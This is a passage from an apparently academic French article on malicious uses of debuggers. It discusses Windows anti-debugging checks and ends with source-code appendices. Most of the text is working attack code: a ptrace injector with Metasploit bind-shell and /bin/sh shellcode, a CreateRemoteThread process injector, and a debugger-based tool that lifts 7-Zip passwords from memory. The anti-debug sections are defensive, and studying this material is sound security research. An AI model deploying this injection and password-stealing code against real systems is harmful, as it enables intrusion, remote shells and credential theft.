3.4 Se protéger

Les protections contre le reverse engineering sont beaucoup plus développées sous Windows que sous Linux. Les codes anti-debug sont donc extrêmement nombreux. L'API Windows contient une fonction déterminant si le processus qui l'appelle est

débuggé ou pas. Avec Windows XP SP1 est apparue une autre fonction qui fait la même chose sur n'importe quel processus. Les prototypes de ces fonctions sont :

```
BOOL IsDebuggerPresent(void);
BOOL CheckRemoteDebuggerPresent(HANDLE hProcess, PBOOL pbDebuggerPresent);
```

Sous Windows, les informations sur chaque processus sont contenues dans le PEB (*Process Environment Block*). Cette structure contient un octet, `BeingDebugged`. `IsDebuggerPresent` renvoie simplement la valeur de cet octet. Le code de cette fonction est :

```
; BOOL IsDebuggerPresent(void)
    public __stdcall IsDebuggerPresent()
__stdcall IsDebuggerPresent() proc near
    mov     eax, large fs:18h
    mov     eax, [eax+30h]          ; Récupère l'adresse du PEB
    movzx   eax, byte ptr [eax+2] ; eax <-- peb->BeingDebugged
    retn
__stdcall IsDebuggerPresent() endp
```

Cette fonction est une base pour détecter si un processus est débuggé ou pas. Si elle est souvent utilisée par les développeurs soucieux de se protéger, elle est également très connue des attaquants. Pour éviter qu'un attaquant détecte un appel à cette procédure, on l'émule nous même avant le code à protéger :

```
int _tmain(int argc, _TCHAR* argv[])
{
  PPEB ppeb = NULL;
  __asm
  {
    mov eax, fs:[18h]
    mov eax, [eax+30h]
    mov ppeb, eax
  }
  if(ppeb->BeingDebugged)
  {
    _tcprintf(TEXT("Process is debugged. Exiting\n"));
    return 0;
  }
  // Code à exécuter s'il n'y a pas de debugger
  return 0;
}
```

Ce code fonctionne si l'attaquant pose un point d'arrêt sur `IsDebuggerPresent()`, mais pas s'il modifie directement la valeur de l'octet `BeingDebugged` dans le PEB en la mettant à zéro. On peut pour se protéger mettre `BeingDebugged` à une valeur quelconque. Les outils automatiques permettant la furtivité des debuggers feront que `IsDebuggerPresent` renverra 0 au lieu de notre valeur, et on pourra ainsi détecter si le processus est débuggé ou pas. Cette méthode, pourtant toute simple, détecte la plupart des outils publics existants. Le code suivant illustre ce mécanisme :

```
#define BEING_DEBUGGED 0x67

int _tmain(int argc, _TCHAR* argv[])
{
  PPEB ppeb = NULL;

  // Premier test si aucun outil de furtivité n'est présent
  if(IsDebuggerPresent() != 0)
  {
    _tcprintf(TEXT("Process is debugged. Exiting\n"));
    return 0;
  }
  __asm
  {
    mov eax, fs:[18h]
    mov eax, [eax+30h]
    mov ppeb, eax
  }
  ppeb->BeingDebugged = BEING_DEBUGGED;

  // Renvoie 0 au lieu de BEING_DEBUGGED si un outil modifie le PEB
  if(IsDebuggerPresent() != BEING_DEBUGGED)
  {
```

```
    _tcprintf(TEXT("Anti-IsDebuggerPresent detected. Exiting\n"));
    return 0;
  }
  // Code à exécuter
  return 0;
}
```

On peut également empêcher un debugger de s'attacher à notre processus. Comme sur les systèmes UNIX, un processus ne peut être débuggé que par un seul autre processus. Pourquoi ne pas créer un processus qui se debugge lui-même ? On imaginer un exécutable fonctionnant de deux façons :

- il fonctionne "normalement" s'il est débuggé.
- il lance le même exécutable s'il n'est pas debuggé. Il agit alors comme un debugger et communique avec le processus auquel il est attaché (en modifiant ses données, en posant des points d'arrêts pour le rediriger, etc.). Ses fonctionnalités "normales" ne sont pas utilisées.

Il y a une forte interaction entre le processus servant de debugger et le processus fils. Il devient difficile pour un attaquant, s'il arrive à s'attacher au processus, de simuler ces interactions. Il doit d'abord comprendre le fonctionnement du processus quand il fonctionne comme un debugger.

Comment détecter si le processus attaché est bien le bon ? Si un processus est débuggé, il ne peut pas savoir par qui. En utilisant juste `IsDebuggerPresent()`, tout debugger pourra s'attacher au processus, alors qu'on veut bloquer cela. On peut utiliser un mécanisme d'exclusion mutuelle. Pour cela on crée un objet *mutex* dont le processus "fils" héritera lors de sa création. On teste la présence de ce *mutex* : s'il n'existe pas, on le crée et on lance un nouveau processus auquel on s'attache, et s'il existe, on sait que le processus est déjà debuggé et il s'exécute normalement. Le code source est disponible en annexe D page 21. Il n'y a pas d'interaction entre le debugger et l'autre processus ici, mais elles peuvent être facilement rajoutées.

Toutes ces méthodes dérouteront uniquement un attaquant débutant. Le reverse engineering sous Windows est bien plus développé que sous UNIX ; en conséquence les contre-mesures le sont également. Il est très difficile d'empêcher l'utilisation d'un debugger, en particulier en *ring 3* où les fonctionnalités sont relativement restreintes. Les fonctions contre le debuggage doivent être couplées à d'autres méthodes (chiffrement, obfuscation, etc.) pour être efficaces. Seules, elles ne font que retarder un attaquant pendant, dans la majorité des cas, très peu de temps.

Conclusion

Nous avons vu différentes applications malicieuses de debuggage, sous Linux grâce au tout puissant appel système `ptrace` et sous Windows avec l'API standard : modification du comportement d'un processus, injection de code, etc. Ces exemples ne sont qu'une parcelle de ce qui peut être fait, la seule limite venant de l'imagination des programmeurs.

Un debugger permet de contrôler l'exécution complète d'un processus. Son utilité première, la correction de bogues, peut être détournée pour en faire un très bon outil de contrôle des processus, quels qu'il soient. Les applications présentées ici ne sont pas exploitables dans un environnement relativement sûr : si leur principe est valable, les méthodes qu'elles utilisent sont trop communes pour ne pas être détectées par un antivirus ou un HIDS correct, qui surveillent en permanence de nombreuses fonctions critiques utilisées dans les exemples.

Étant donné les possibilités d'un debugger une fois qu'il est attaché à un processus, il paraît intéressant d'essayer de se protéger contre cela. Malheureusement, dans la pratique les tentatives aboutissent très rarement. Les méthodes utilisées, une fois analysées, sont très souvent publiées puis intégrées dans des outils qui per-

mettent de ”cacher” les debuggers. À moins d'une véritable réflexion, envisageant tous les angles d'attaque au moment du développement d'une protection, et surtout un couplage avec d'autres types de protection, une succession d'anti-debug ne sera que très peu pénalisante pour un attaquant.

Références

[Bar06] Bareil (N.). – Playing with ptrace() for fun and profit. *In : SSTIC*. – 2006. http://actes.sstic.org/SSTIC06/Playing_with_ptrace/.

[BDFR04] Biondi (P.), Dralet (S.), Fourastier (Y.) et Raynal (F.). – Injection de code sous unix. *MISC*, n13, 2004.

A Code pour l'injection avec ptrace()

```
#include <linux/errno.h>
#include <sys/ptrace.h>
#include <linux/ptrace.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <stdlib.h>
#include <linux/user.h>
#include <getopt.h>
#include <string.h>

/* linux_ia32_bind -  LPORT=4444 Size=84 Encoder=None http://metasploit.com */

/*
 * ./inj -b  -o 256 `pidof xcalc`
 * £ nc -nvv 127.0.0.1 4444
 * (UNKNOWN) [127.0.0.1] 4444 (?) open
 * id
 * uid=1000(raynal) gid=1000(raynal) ...
 *

 */

unsigned char bindport[] =
//"\x90\x90\x90"
"\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x99\x89\xe1\xcd\x80\x96"
"\x43\x52\x66\x68\x11\x5c\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x56"
"\x89\xe1\xcd\x80\xb0\x66\xd1\xe3\xcd\x80\x52\x52\x56\x43\x89\xe1"
"\xb0\x66\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0"
"\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"
"\x89\xe1\xcd\x80";


/*
 * Fonctionne dans xcalc :
 *   - sans NOP avant/après
 *   - sans le eip+2
 */
unsigned char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
//"\x90\x90";


#define ERROR(msg) do{ perror(msg); goto out; }while(0)

int main(int argc, char *argv[])

{
    int res, pid, i, opt;
    long start, offset = 128, eip_offset = 0;
    struct user_regs_struct regs;
    siginfo_t sig;
    char *code = shellcode;

    while ((opt = getopt(argc, argv, "bsiI:o:")) != -1) {
        switch(opt) {
            case 'I':
                eip_offset = atoi(optarg);
                break;
            case 'i':
                eip_offset = 2;
                break;
            case 'b':
                printf("Using bindport\n");
                code = bindport;
                break;
            case 's':
                printf("Using shellcode\n");
                code = shellcode;
                break;
            case 'o':
                offset = atoi(optarg);
                break;
            default: /* '?' */
                fprintf(stderr, "Usage: %s  [-o 128] [-i] pid",
```

```
                        argv[1]);
                exit(EXIT_FAILURE);
        }
    }

     if (optind >= argc) {
         fprintf(stderr, "Expected argument (PID) after options\n");
         exit(EXIT_FAILURE);
     }

     pid = atoi(argv[optind]);

    /* On s'attache */
    res = ptrace(PTRACE_ATTACH, pid, NULL, NULL);
    if (res == -1) ERROR("ptrace attach");
    res = waitpid(pid, NULL, WUNTRACED);
    if (res != pid) ERROR("waitpid");

    /* On récupère les registres */
    res = ptrace(PTRACE_GETREGS, pid, NULL, &regs);
    if (res == -1) ERROR("ptrace getregs");
    printf("eax=0x%08x\n",  regs.eax);
    printf("eax=0x%08x (orig)\n",  regs.orig_eax);
    printf("esp=0x%08x\n",  regs.esp);
    printf("esp=0x%08x\n",  regs.esp);
    printf("ebp=0x%08x\n",  regs.ebp);
    printf("eip=0x%08x\n",  regs.eip);

    /* On prévoit l'interruption d'un appel système */
    res = ptrace(PTRACE_SETOPTIONS, pid, NULL, PTRACE_O_TRACESYSGOOD);
    if (res == -1) ERROR("ptrace setoptions");

    /* On injecte le code */
    //start = regs.eip;
    start = regs.esp-offset;
    printf("Writing shellcode at 0x%x (%d bytes)\n", start, strlen(code));
    for (i=0; i < strlen(code); i+=4) {
        res = ptrace(PTRACE_POKEDATA, pid, start+i, *(int *)(code+i));
        if (res == -1) ERROR("ptrace pokedata");
        printf("%08x written at 0x%08x\n", *(int *)(code+i), start+i);
    }


    /* On ajuste eip au cas où on a interrompu un syscall */
    regs.eip = start + eip_offset;
    res = ptrace(PTRACE_GETSIGINFO, pid, NULL, &sig);
    if (res == -1) ERROR("ptrace getsiginfo");
    if (sig.si_code &0x80) {
        printf("*** Syscall interrupted ***\n");
        regs.eip += 2;
    }
    printf("Setting eip at 0x%x\n", regs.eip);

    /* On remplace les registres */
    res = ptrace(PTRACE_SETREGS, pid, NULL, &regs);
    if (res == -1) ERROR("ptrace setregs");

    /* Retour à la normale */
out:
    res = ptrace(PTRACE_DETACH, pid, NULL, NULL);
    if (res == -1) ERROR("ptrace detach");

    printf("injection done\n");

    return 0;
}
```

B Code pour l'injection avec CreateRemoteThread

```
#include "stdafx.h"
#include <windows.h>

typedef HMODULE (WINAPI* fnLoadLibrary)(LPCTSTR lpFileName);
typedef FARPROC (WINAPI* fnGetProcAddress)(HMODULE hModule, LPCSTR lpProcName);
typedef int (WINAPI* fnMessageBox)(HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType);

typedef struct aFunc_s
{
```

```
        fnLoadLibrary pLoadLibrary;
        fnGetProcAddress pGetProcAddress;
} aFunctions, *paFunctions;

// Fonction qui va être injectée dans le processus.
// Affiche simplement un message
DWORD WINAPI MyThread(paFunctions f)
{
        TCHAR szUser32[] = {'U', 's', 'e', 'r', '3', '2', '.', 'd', 'l', 'l', 0};
        TCHAR szKernel32[] =
                {'K', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l', 0};
        char szMessageBox[] =
                {'M', 'e', 's', 's', 'a', 'g', 'e', 'B', 'o', 'x', 'W', 0};
        char szFreeLibrary[] =
                {'F', 'r', 'e', 'e', 'L', 'i', 'b', 'r', 'a', 'r', 'y', 0};
        char szExitThread[] =
                {'E', 'x', 'i', 't', 'T', 'h', 'r', 'e', 'a', 'd', 0};
        TCHAR szText[] = {'I', 'n', 'j', 'e', 'c', 't', 'i', 'o', 'n', ' ',
                'd', 'o', 'n', 'e', 0};
        TCHAR szCaption[] = {'I', 'n', 'j', 'e', 'c', 't', 'i', 'o', 'n', 0};

        // Charge les bibliothèques
        HMODULE hUser = f->pLoadLibrary(szUser32);
        HMODULE hKernel = f->pLoadLibrary(szKernel32);

        // Récupère les adresses des fonctions
        fnMessageBox pfnMessageBox =
                (fnMessageBox)f->pGetProcAddress(hUser, szMessageBox);
        fnFreeLibrary pfnFreeLibrary =
                (fnFreeLibrary)f->pGetProcAddress(hKernel, szFreeLibrary);
        fnExitThread pfnExitThread =
                (fnExitThread)f->pGetProcAddress(hKernel, szExitThread);

        // Affiche la boîte de message
        pfnMessageBox(NULL, szText, szCaption, MB_OK);

        // Décharge les modules et quitte
        pfnFreeLibrary(hKernel);
        pfnFreeLibrary(hUser);
        pfnExitThread(0);
        return 0;
}

int _tmain(int argc, _TCHAR* argv[])
{
        // Récupère le pid du processus dans lequel le code va être injecté.
        if(argc != 2)
        {
                _tprintf(TEXT("Usage: %s <pid>\n"), argv[0]);
                return 0;
        }
        DWORD pid = _ttoi(argv[1]);
        // Ouvre le processus avec les droits nécessaires à l'écriture et à la
        // création de thread à distance.
        HANDLE hProcess = OpenProcess(PROCESS_CREATE_THREAD
                | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION
                | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, pid);
        if(hProcess == NULL)
        {
                _tprintf(TEXT("Can't open process. Exiting...\n"));
                return 0;
        }
        // Calcule la taille de la fonction MyThread qui va être copiée
        // dans le processus
        DWORD cbMyThread = (DWORD)(&_tmain) - (DWORD)(&MyThread);

        aFunctions d;

        // Récupère les adresses des fonctions GetProcAddress et LoadLibraryW
        HMODULE hLibKernel = LoadLibrary(TEXT("kernel32.dll"));
        d.pGetProcAddress =
                (fnGetProcAddress)GetProcAddress(hLibKernel, "GetProcAddress");
        d.pLoadLibrary =
                (fnLoadLibrary)GetProcAddress(hLibKernel, "LoadLibraryW");
        FreeLibrary(hLibKernel);
        if((d.pGetProcAddress == NULL) || (d.pLoadLibrary == NULL))
        {
                _tcprintf(TEXT("Can't get function addresses.\n"));
                return 0;
        }
```

```
        // Alloue une zone dans le processus distant et y copie le code
        // de la fonction à exécuter.
        DWORD dwBytesWritten;
        LPTHREAD_START_ROUTINE pMyThread =
                (LPTHREAD_START_ROUTINE)VirtualAllocEx(hProcess, NULL,
                cbMyThread, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        WriteProcessMemory(hProcess, pMyThread, MyThread,
                cbMyThread, &dwBytesWritten);

        // Idem pour les paramètres de la fonction
        LPVOID pData = VirtualAllocEx(hProcess, NULL, sizeof(d), MEM_COMMIT,
                PAGE_EXECUTE_READWRITE);
        WriteProcessMemory(hProcess, pData, &d, sizeof(d), &dwBytesWritten);

        // Lance le thread et attend qu'il se termine
        HANDLE hThread = CreateRemoteThread(
                hProcess, NULL, 0, pMyThread, pData, NULL, NULL);
        WaitForSingleObject(hThread, INFINITE);

        // Libère la mémoire allouée et quitte
        VirtualFreeEx(hProcess, pData, sizeof(d), MEM_DECOMMIT);
        VirtualFreeEx(hProcess, pMyThread, cbMyThread, MEM_DECOMMIT);
        CloseHandle(hThread);
        CloseHandle(hProcess);
        return 0;
}
```

C Code pour le vol de mots de passe 7-Zip

```
#include "stdafx.h"
#include <string.h>
#include <windows.h>

#define PATCH_OFFSET 0x401C61

int _tmain(int argc, _TCHAR* argv[])
{
  DWORD dwBytesWritten, dwBytesRead;
  BYTE int3 = 0xCC;   // int 3
  BYTE old_int3;

  // Cherche la fenêtre de 7-zip et récupère le pid
  HWND hWnd = FindWindow(NULL, _T("Ajouter à l'archive"));
  if(hWnd == NULL)
  {
    _tprintf(_T("Can't find 7-zip window"));
    return 1;
  }
  DWORD dwProcessId;
  GetWindowThreadProcessId(hWnd, &dwProcessId);

  // Debugge le processus
  if(DebugActiveProcess(dwProcessId) == 0)
  {
    _tcprintf(_T("DebugActiveProcess\n"));
    return 0;
  }
  DebugSetProcessKillOnExit(FALSE);

  DEBUG_EVENT db;
  BOOL bDebug = TRUE;

  while(WaitForDebugEvent(&db, INFINITE) && bDebug)
  {
    static HANDLE hThread = NULL;
    static HANDLE hProcess = NULL;
    CONTEXT ctx;

    switch(db.dwDebugEventCode)
    {
    case CREATE_PROCESS_DEBUG_EVENT:
      _tcprintf(_T("The process has been attached\n"));
      hThread = db.u.CreateProcessInfo.hThread;
      hProcess = db.u.CreateProcessInfo.hProcess;
      ReadProcessMemory(hProcess, (LPVOID)PATCH_OFFSET, &old_int3,
            sizeof(old_int3), &dwBytesRead);
      WriteProcessMemory(hProcess, (LPVOID)PATCH_OFFSET, &int3,
```

```
                sizeof(int3), &dwBytesWritten);
        ContinueDebugEvent(db.dwProcessId, db.dwThreadId, DBG_CONTINUE);
        break;

      case EXCEPTION_DEBUG_EVENT:
        if(db.u.Exception.ExceptionRecord.ExceptionCode == EXCEPTION_BREAKPOINT)
        {
          ctx.ContextFlags = CONTEXT_FULL;
          DWORD dwPasswordOffset;
          TCHAR password[32];

          if(GetThreadContext(hThread, &ctx) == 0)
          {
            _tprintf(_T("Can't get context!!\n"));
          }
          if(ctx.Eip == PATCH_OFFSET)
          {
            // Le mot de passe est contenu dans [edi] --> lecture
            ReadProcessMemory(hProcess, (LPVOID)ctx.Edi, &dwPasswordOffset,
                      sizeof(dwPasswordOffset), NULL);
            ReadProcessMemory(hProcess, (LPVOID)dwPasswordOffset, password,
                      sizeof(password), NULL);
            _tcprintf(_T("Password: %s\n"), password);

            // Restaure le code original et reprend l'exécution normale du programme
            WriteProcessMemory(hProcess, (LPVOID)PATCH_OFFSET, &old_int3,
                      sizeof(old_int3), &dwBytesWritten);
            SetThreadContext(hThread, &ctx);
            bDebug = FALSE;
            ContinueDebugEvent(db.dwProcessId, db.dwThreadId, DBG_CONTINUE);
            continue;
          }
        }
        default:
          ContinueDebugEvent(db.dwProcessId, db.dwThreadId,
                    DBG_EXCEPTION_NOT_HANDLED);
      }
    }

    if(DebugActiveProcessStop(dwProcessId) == 0)
    {
      _tprintf(_T("DebugActiveProcessStop\n"));
      return 0;
    }
    else _tprintf(_T("The process has been detached\n"));

    return 0;
}
```

D Code pour empêcher qu'un debugger s'attache au processus

```
#include "stdafx.h"
#include <windows.h>

void ErrorExit()
{
  LPVOID lpMsgBuf;
  DWORD dw = GetLastError();

  FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM,
    NULL, dw, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPTSTR) &lpMsgBuf,
    0, NULL );
    _tcprintf(_T("Erreur %d: %s\n"), dw, lpMsgBuf);
    LocalFree(lpMsgBuf);
    exit(dw);
}

int _tmain(int argc, _TCHAR* argv[])
{
  STARTUPINFO si;
  PROCESS_INFORMATION pi;
  TCHAR szPath[MAX_PATH];

  // Essaie d'ouvrir le mutex "mymutex".
  // S'il n'existe pas on le crée et on lance un processus fils
  // qui hérite de ce mutex.
```

```
  if(OpenMutex(MUTEX_ALL_ACCESS, FALSE, _T("mymutex")) == NULL)
  {
    DEBUG_EVENT db;
    HANDLE hMutex = CreateMutex(NULL, NULL, _T("mymutex"));
    if(hMutex == NULL)
      ErrorExit();

    // Lance un nouveau processus
    GetStartupInfo(&si);
    if(GetModuleFileName(NULL, szPath, MAX_PATH) == 0)
      ErrorExit();
    if(CreateProcess(szPath, GetCommandLine(), NULL, NULL, TRUE,
      DEBUG_PROCESS, NULL, NULL, &si, &pi) == 0)
      ErrorExit();
    _tcprintf(_T("%X : Je suis le père\n"), GetCurrentProcessId());

    BOOL bDebug = TRUE;
    while(bDebug)
    {
      WaitForDebugEvent(&db, INFINITE);
      switch(db.dwDebugEventCode)
      {
      case CREATE_PROCESS_DEBUG_EVENT:
        _tcprintf(_T("Le processus %X a été lancé\n"), pi.dwProcessId);
        break;
      case EXIT_PROCESS_DEBUG_EVENT:
        bDebug = FALSE;
        break;
      }
      ContinueDebugEvent(pi.dwProcessId, pi.dwThreadId, DBG_CONTINUE);
    }
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
    CloseHandle(hMutex);
  }
  // Si le mutex existe déjà, le programme s'exécute normalement
  else
  {
    _tcprintf(_T("%X : Je suis le fils\n"), GetCurrentProcessId());
    MessageBox(NULL, _T("Application"), _T("Application"), MB_OK);
  }
  return 0;
}
```